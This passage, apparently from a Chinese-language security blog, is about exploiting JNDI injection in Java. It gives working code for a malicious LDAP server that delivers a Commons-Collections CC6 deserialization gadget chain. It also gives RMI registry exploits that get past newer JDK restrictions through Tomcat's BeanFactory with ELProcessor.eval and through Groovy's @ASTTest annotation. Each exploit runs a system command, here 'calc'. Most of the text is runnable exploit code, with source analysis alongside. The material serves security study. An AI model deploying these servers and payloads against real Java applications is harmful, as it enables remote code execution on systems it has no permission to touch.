
public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:5432/#CC6"}; //恶意对象下载地址
int port = 9999; //LDAP服务端口

//配置LDAP服务器
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

// 添加恶意拦截器
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));

//启动服务
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase; //恶意代码地址

public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}

@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e); //发送恶意响应
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}

protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
// 构造 class 文件实际路径 (将 #EvilObject 转换为 /EvilObject.class)
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "b1uel0n3"); //任意类名
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}

// 构建恶意 LDAP 条目
e.addAttribute("javaCodeBase", cbstring); //代码库地址 (http://127.0.0.1:5432/)
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef()); //工厂类名(EvilObject)
e.addAttribute("javaSerializedData",CC6());
result.sendSearchEntry(e); //发送给客户端
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

public static byte[] CC6() throws Exception{
Transformer[] faketransformers = new Transformer[]{new ConstantTransformer(1)};

Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

ChainedTransformer chain=new ChainedTransformer(faketransformers);
Map innermap=new HashMap();
Map Lazymap=LazyMap.decorate(innermap, chain);
TiedMapEntry tiedMapEntry=new TiedMapEntry(Lazymap,"b1uel0n3");
HashSet map=new HashSet();
map.add(tiedMapEntry);
innermap.remove("b1uel0n3");

Field field=chain.getClass().getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chain,transformers);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(map);
objectOutputStream.close();

return byteArrayOutputStream.toByteArray();
}
}
}

image-20250721151917060

客户端发起请求能弹计算机

加载本地工厂绕过

环境:jdk 8u192

使用 jdk 高版本的时,即使在传入时候设置了 com.sun.jndi.ldap.object.trustURLCodebase 为 true,也会报错,调试时发现该值依然为 false

既然远程加载不行,那么我们是否可以通过本地加载Reference Factory呢?

image-20250721143037710

这里我们需要确定加载哪个工厂,工厂需要实现javax.naming.spi.ObjectFactory接口,还需要重写getObjectInstance方法,因为在javax.naming.spi.NamingManager#getObjectFactoryFromReference最后的return语句对Factory类的实例对象进行了类型转换

Tomcat8绕过

其中org.apache.naming.factory.BeanFactory恰好满足这些特点,且该类存在于Tomcat8依赖包中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<dependencies>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.8</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.8</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jasper</artifactId>
<version>9.0.8</version>
</dependency>
</dependencies>

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class EvilServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
//声明将 faster 属性映射到 eval() 方法
resourceRef.add(new StringRefAddr("forceString", "faster=eval"));
//注入 EL 表达式
resourceRef.add(new StringRefAddr("faster", "Runtime.getRuntime().exec(\"calc.exe\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("b1uel0n3", referenceWrapper);
System.out.println("Registry运行中......");

}
}

forceString用于声明属性与方法之间的强制映射关系,当设置 faster 属性时,实际调用 eval() 方法

image-20250721105208427

跟进源码分析:

image-20250721105817727

image-20250721110001056

lookup最后会调用工厂的getObjectInstance方法,简单看看这个类的getObjectInstance方法:

image-20250721110040917

先判断ref是否为ResourceRef类

通过反射实例化Reference所指向的任意BeanClass:

image-20250721110356055

image-20250721110448074

然后通过反射获取setter方法再执行:

image-20250721111420634

image-20250721112434641

通过实例化我们指定的javax.el.ELProcessor对象,forceString可以给属性强制指定一个setter方法,这里将属性faster的setterName设置为了public java.lang.Object javax.el.ELProcessor.eval(),接着传入faster的setter的参数,也就是Runtime.getRuntime().exec("calc.exe")。接着运行setter,实际上就相当于运行java.lang.Object javax.el.ELProcessor.eval(Runtime.getRuntime().exec("calc.exe"))

Groovy绕过

在Groovy中,Groovy程序允许我们执行断言,也就意味着命令执行

断言(Assertion) 是编程中用于验证程序执行结果是否符合预期的机制。它本质上是一种声明式检查

@ASTTest是一种特殊的AST转换,编译器的调试工具,它会在编译期对AST执行断言,而不是对编译结果执行断言。这意味着此AST转换在生成字节码之前可以访问AST。@ASTTest可以放置在任何可注释节点上

它的思路和Tomcat相似,借助BeanFactory的功能,使程序执行GroovyClassLoader#parseClass,然后去解析groovy脚本

依赖:

1
2
3
4
5
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy</artifactId>
<version>2.4.5</version>
</dependency>

EvilObject:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package jndi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class EvilServer {

public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef resourceRef = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
resourceRef.add(new StringRefAddr("forceString", "faster=parseClass"));
String script = String.format("@groovy.transform.ASTTest(value={\nassert java.lang.Runtime.getRuntime().exec(\"%s\")\n})\ndef faster\n", "calc");
resourceRef.add(new StringRefAddr("faster",script));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("b1uel0n3", referenceWrapper);
System.out.println("Registry运行中......");
}
}

image-20250721114332928

参考

https://myzxcg.com/2021/10/Java-JNDI%E5%88%86%E6%9E%90%E4%B8%8E%E5%88%A9%E7%94%A8/#jndi--rmi

https://nivi4.notion.site/Java-JNDI-ddd6c46c271545598180799ab255e09a#2d7bc602aaaa410696acd32cbbc182fd

https://xz.aliyun.com/news/6860

https://www.cnblogs.com/erosion2020/p/18561646

https://xz.aliyun.com/news/10119

https://sanshiok.com/archive/30.html#JNDI-1